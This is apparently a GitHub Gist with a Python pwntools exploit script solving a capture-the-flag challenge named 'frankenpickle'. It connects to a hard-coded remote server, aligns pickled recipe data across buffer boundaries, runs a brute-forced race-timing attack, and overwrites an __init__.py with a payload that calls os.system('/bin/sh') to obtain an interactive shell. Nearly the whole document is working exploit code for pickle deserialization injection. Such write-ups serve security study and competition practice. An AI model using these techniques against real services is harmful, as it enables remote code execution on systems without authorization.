Last active
April 9, 2018 00:20
-
-
Save Strikeskids/16e3878dd1215ae7c55f84d5a9a4fc8d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# Written by Strikeskids | |
from __future__ import print_function | |
from pwn import * | |
from time import sleep | |
import random, string, pickle | |
from copy import deepcopy | |
from hashlib import md5 | |
context.update(os='linux', arch='amd64', | |
# log_level='debug', | |
) | |
safe_recipe = 'SAFERECIPE' | |
def token(): | |
return ''.join(random.choice(string.lowercase) for _ in range(8)) | |
# ''' | |
local = False | |
def connect(): | |
return remote('34.213.162.78', '2700') | |
username = token() | |
userhash = md5(username).hexdigest() | |
iter_start = 20000 | |
''' | |
local = True | |
def connect(): | |
return process('./frankenpickle.py', stdin=PTY) | |
username = 'cdb' | |
userhash = '785b30443fd6e2de160408ddcfcae6fa' | |
iter_start = 10000 | |
# ''' | |
bufsize = 4096 | |
class Recipe: | |
def __init__(self, name): | |
self.secret_ingredient = "flag{IT'S ALIVEEE!!11!1!!!! ..now just get a shell}" | |
self.name = name | |
self.prep_time = 0.0 # Changed to have float default | |
self.steps = ['s'+str(x) for x in xrange(3)] | |
self.ingredients = ['i'+str(x) for x in xrange(3)] | |
# self.prep_time = 0 | |
# self.steps = [] | |
# self.ingredients = [] | |
def set_prep_time(self, minutes): | |
self.prep_time = minutes | |
def add_ingredient(self, ingredient): | |
self.ingredients.append(ingredient) | |
def add_step(self, step): | |
self.steps.append(step) | |
def __str__(self): | |
out = "\n"+(len(self.name)+4)*"-"+"\n" | |
out += "| " + self.name + " |\n" | |
out += (len(self.name)+4)*"-"+"\n" | |
out += "Preparation time: " + str(self.prep_time) + " minutes\n" | |
out += "Ingredients: " | |
for i in self.ingredients: | |
out += i + ", " | |
out = out[:-2] + "\n" | |
out += "Steps:\n" | |
for i in range(len(self.steps)): | |
out += str(i+1) + ". " + self.steps[i] + "\n" | |
return out | |
def compute_file_suffix(): | |
tok = token() | |
r = Recipe(tok) | |
rdata = pickle.dumps(r) | |
post_name = len(rdata) - rdata.index(tok) - len(tok) + 1 | |
return post_name, 'U'+chr(post_name) | |
post_name, file_suffix = compute_file_suffix() | |
def send_prompted(t, data): | |
t.prompts = getattr(t, 'prompts', 0) + 1 | |
# t.sendlineafter('> ', data) | |
t.sendline(data) | |
def flush_prompts(t): | |
prompts = getattr(t, 'prompts', 0) | |
log.debug('Flushing %d', prompts) | |
for _ in xrange(prompts): | |
t.recvuntil('>') | |
t.prompts = 0 | |
def connect2(): | |
t = connect() | |
send_prompted(t, username) | |
flush_prompts(t) | |
t.recvuntil('WRITE') | |
return t | |
def log_local_pickle(fname): | |
if local: | |
with open(os.path.join(userhash, fname), 'rb') as f: | |
result = f.read() | |
log.info('Local pickle %s: %d\n%s', fname, len(result), result) | |
def prep_send_recipe(t, recipe): | |
send_prompted(t, '0') | |
send_prompted(t, str(recipe.name)) | |
send_prompted(t, str(recipe.prep_time)) | |
for i in recipe.ingredients: | |
send_prompted(t, str(i)) | |
send_prompted(t, '') | |
for i in recipe.steps: | |
send_prompted(t, str(i)) | |
flush_prompts(t) | |
def send_recipe(t, recipe, flush=False): | |
send_prompted(t, '0') | |
send_prompted(t, str(recipe.name)) | |
send_prompted(t, str(recipe.prep_time)) | |
for i in recipe.ingredients: | |
send_prompted(t, str(i)) | |
send_prompted(t, '') | |
for i in recipe.steps: | |
send_prompted(t, str(i)) | |
send_prompted(t, '') | |
flush_prompts(t) | |
t.recvuntil('[0] WRITE') | |
if flush: | |
flush_file(t) | |
def read_recipe(t, fname, skip_result=False): | |
send_prompted(t, '1') | |
send_prompted(t, fname) | |
flush_prompts(t) | |
if skip_result: | |
return | |
return t.recvuntil('[0] WRITE RECIPE', drop=True) | |
def ignore_at(block, f, size): | |
t = connect2() | |
def trigger(): | |
flush_file(t) | |
t.close() | |
toks = [token() for _ in xrange(block+1)] | |
toks_len = sum(len(t) for t in toks) | |
tok = token() | |
r = Recipe(f) | |
r.ingredients[:0] = toks | |
r.add_step(tok) | |
rdata = pickle.dumps(r) | |
stepidx = rdata.index(tok) - toks_len | |
nameidx = rdata.index(file_suffix, stepidx) - toks_len | |
step_to_name = nameidx - stepidx - len(tok) | |
post_skip = max(0, 0x20 - step_to_name) | |
log.debug('Step to name %x', step_to_name) | |
skip_to_end = 2 + post_skip + step_to_name + 2 + post_name | |
assert skip_to_end <= size < bufsize | |
rest = size - skip_to_end | |
nops = rest // 2 | |
amount_to_skip = block*bufsize | |
fill_in_toks(r, toks, block*bufsize - stepidx) | |
r.steps[r.steps.index(tok)] = flat( | |
'(1' * nops, | |
pickle.SHORT_BINSTRING, | |
chr(rest%2 + step_to_name + post_skip), | |
'J' * (post_skip + rest % 2), | |
) | |
rdata = pickle.dumps(r) | |
log.debug('Payload Offset %x', rdata.index(r.steps[-1])) | |
send_recipe(t, r) | |
return trigger | |
def replace_tok(r, tok, value): | |
if tok in r.ingredients: | |
r.ingredients[r.ingredients.index(tok)] = value | |
elif tok in r.steps: | |
r.steps[r.steps.index(tok)] = value | |
else: | |
raise ValueError('Missing token') | |
def fill_in_toks(r, toks, filler, non_ascii=False): | |
for i, tok in enumerate(toks): | |
current_amount = filler // (len(toks) - i) | |
if non_ascii: | |
s = flat( | |
chr(0x81 + i) * (current_amount // 4), | |
chr(0x41 + i) * (current_amount % 4), | |
) | |
else: | |
s = chr(0x41 + i) * current_amount | |
assert len(repr(s)) == current_amount + 2 | |
replace_tok(r, tok, s) | |
filler -= current_amount | |
def setup_safe(): | |
t = connect2() | |
send_recipe(t, Recipe(safe_recipe)) | |
read_recipe(t, safe_recipe) | |
t.close() | |
def clear_file(fname): | |
t = connect2() | |
send_recipe(t, Recipe(fname)) | |
t.close() | |
def flush_file(t): | |
read_recipe(t, safe_recipe) | |
sleep(0.5) | |
def align_substring(block, r, sub, offset=0, flush=False): | |
r = deepcopy(r) | |
toks = [token() for _ in xrange(block+1)] | |
r.ingredients[:0] = toks | |
t = connect2() | |
def trigger(): | |
flush_file(t) | |
t.close() | |
rdata = pickle.dumps(r) | |
start = rdata.index(toks[-1]) | |
loc = rdata.index(sub, start) - sum(len(t) for t in toks) | |
assert loc <= block*bufsize | |
fill_in_toks(r, toks, block*bufsize - loc + offset) | |
send_recipe(t, r) | |
if not flush: | |
return trigger | |
trigger() | |
def run_pickle_nl(payload): | |
setup_safe() | |
fname = 'f' + file_suffix | |
substr = align_substring(2, Recipe(fname), '\np6') | |
ignore = ignore_at(1, fname, bufsize - len(payload)) | |
tok = token() | |
r = Recipe(fname) | |
r.prep_time = 1.0 | |
r.add_step(tok) | |
rdata = pickle.dumps(r) | |
newline_loc = rdata.index('\n', rdata.index(tok)) - len(tok) | |
r.steps[-1] = 'N' * (bufsize - newline_loc - 1) | |
r.add_step(tok) | |
rdata = pickle.dumps(r) | |
tokloc = rdata.index(tok) | |
r.steps[-1] = payload.rjust(2*bufsize - tokloc, 'P') | |
t = connect2() | |
send_recipe(t, r, flush=True) | |
flush_file(t) | |
ignore() | |
substr() | |
# log_local_pickle(fname) | |
read_recipe(t, fname, skip_result=True) | |
return t | |
def find_flushes(offset): | |
setup_safe() | |
fname = 'f' + file_suffix | |
tester = align_substring(2, Recipe(fname), '\'\np6', offset) | |
log_local_pickle(fname) | |
t = connect2() | |
r = Recipe(fname) | |
r.add_ingredient('F' * (bufsize//2)) | |
r.add_ingredient('G' * (bufsize//2)) | |
send_recipe(t, r) | |
t.close() | |
tester() | |
log_local_pickle(fname) | |
t2 = connect2() | |
log.info('Reading Result\n%s', read_recipe(t2, fname)) | |
t2.close() | |
def find_flushes_loop(): | |
while True: | |
find_flushes(int(raw_input('Offset '))) | |
def find_max_ingsize(): | |
setup_safe() | |
t = connect2() | |
r = Recipe('f') | |
r.add_ingredient('a' * bufsize) | |
r.add_ingredient('b' * bufsize*2) | |
r.add_ingredient('c' * bufsize*3) | |
try: | |
send_recipe(t, r, flush=True) | |
except EOFError: | |
t.stream() | |
log.info('Recipe\n%s', read_recipe(t, r.name)) | |
t.close() | |
def run_import(module): | |
return run_pickle_nl(flat(pickle.GLOBAL, module)) | |
def exploit(): | |
setup_safe() | |
targ = '__init__.py' | |
payload = "killer = (__import__('os').system('/bin/sh'), ( #" | |
r = Recipe(targ) | |
r.add_step(payload) | |
data = align_substring(1, r, payload, offset=4) | |
r2 = Recipe(targ) | |
overwrite = align_substring(1, Recipe(targ), '\nsb.') | |
clear_file(targ) | |
data() | |
overwrite() | |
run_import(userhash).interactive() | |
def exploit2(): | |
setup_safe() | |
targ = '__init__.py' | |
payload = "killer = __import__('os').system('/bin/sh'; #" | |
r = Recipe(targ) | |
r.add_step(payload) | |
data = align_substring(2, r, payload) | |
clear_file(targ) | |
data() | |
run_import(userhash).interactive() | |
def non_ascii_ljust(s, size): | |
if len(s) > size: return s | |
to_add = size - len(s) | |
return s + ('\x80' * (to_add // 4)) + (' ' * (to_add % 4)) | |
def exploit3(sleep_iters): | |
setup_safe() | |
targ = '__init__.py' | |
payload = "killer = __import__('os').system('/bin/sh'); '''" | |
rp = Recipe(targ) | |
rp.add_step(payload) | |
data = align_substring(1, rp, payload, offset=4) | |
overwrite = align_substring(1, Recipe(targ), '\nsb.') | |
finish = align_substring(3, Recipe(targ), 'sb.', offset=-2) | |
toks = [token() for _ in xrange(4)] | |
toklen = sum(len(t) for t in toks) | |
tok1 = token() | |
tok2 = token() | |
r = Recipe(targ) | |
r.ingredients[:0] = toks + [tok1, tok2] | |
rdata = pickle.dumps(r) | |
tok1idx = rdata.index(tok1) - toklen | |
tok2idx = rdata.index(tok2) - toklen - len(tok1) | |
fill1 = "''' + '''" | |
fill2 = "''' + 1337" | |
fill_in_toks(r, toks[:2], bufsize - tok1idx, non_ascii=False) | |
fill_in_toks(r, toks[2:], bufsize, non_ascii=True) | |
replace_tok(r, tok1, | |
non_ascii_ljust(fill1, bufsize - (tok2idx - tok1idx) - len(fill2))) | |
replace_tok(r, tok2, fill2) | |
rdata = pickle.dumps(r) | |
assert rdata[2*bufsize:].startswith(fill1) | |
assert rdata[:3*bufsize].endswith(fill2) | |
t1 = connect2() | |
prep_send_recipe(t1, r) | |
t2 = connect2() | |
prep_send_recipe(t2, Recipe(targ)) | |
t1.recvuntil('>') | |
t2.recvuntil('>') | |
t1.sendline('') | |
i = sleep_iters | |
while i > 0: | |
i -= 1 | |
t2.sendline('') | |
t1.recvuntil('[0] WRITE') | |
data() | |
overwrite() | |
finish() | |
t = run_import(userhash) | |
data = t.clean(timeout=1) | |
log.info('Got result\n%s', data) | |
if not 'SyntaxError' in data: | |
t.interactive() | |
return None | |
elif 'EOF while scanning' in data: | |
return 'hi' | |
else: | |
return 'lo' | |
t.close() | |
t1.close() | |
t2.close() | |
def brute_exploit3(): | |
with log.progress('Timing Attack') as p: | |
iters = iter_start | |
result = 'blah' | |
while result is not None: | |
p.status('Sleep for %d iterations', iters) | |
result = exploit3(iters) | |
log.info('Iterations was too %s %d', result, iters) | |
if result == 'lo': | |
iters *= 2 | |
elif result == 'hi': | |
iters //= 2 | |
brute_exploit3() | |
# flag{python2 -c"import pickle;pickle.loads('ithis.')" 2>&-} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment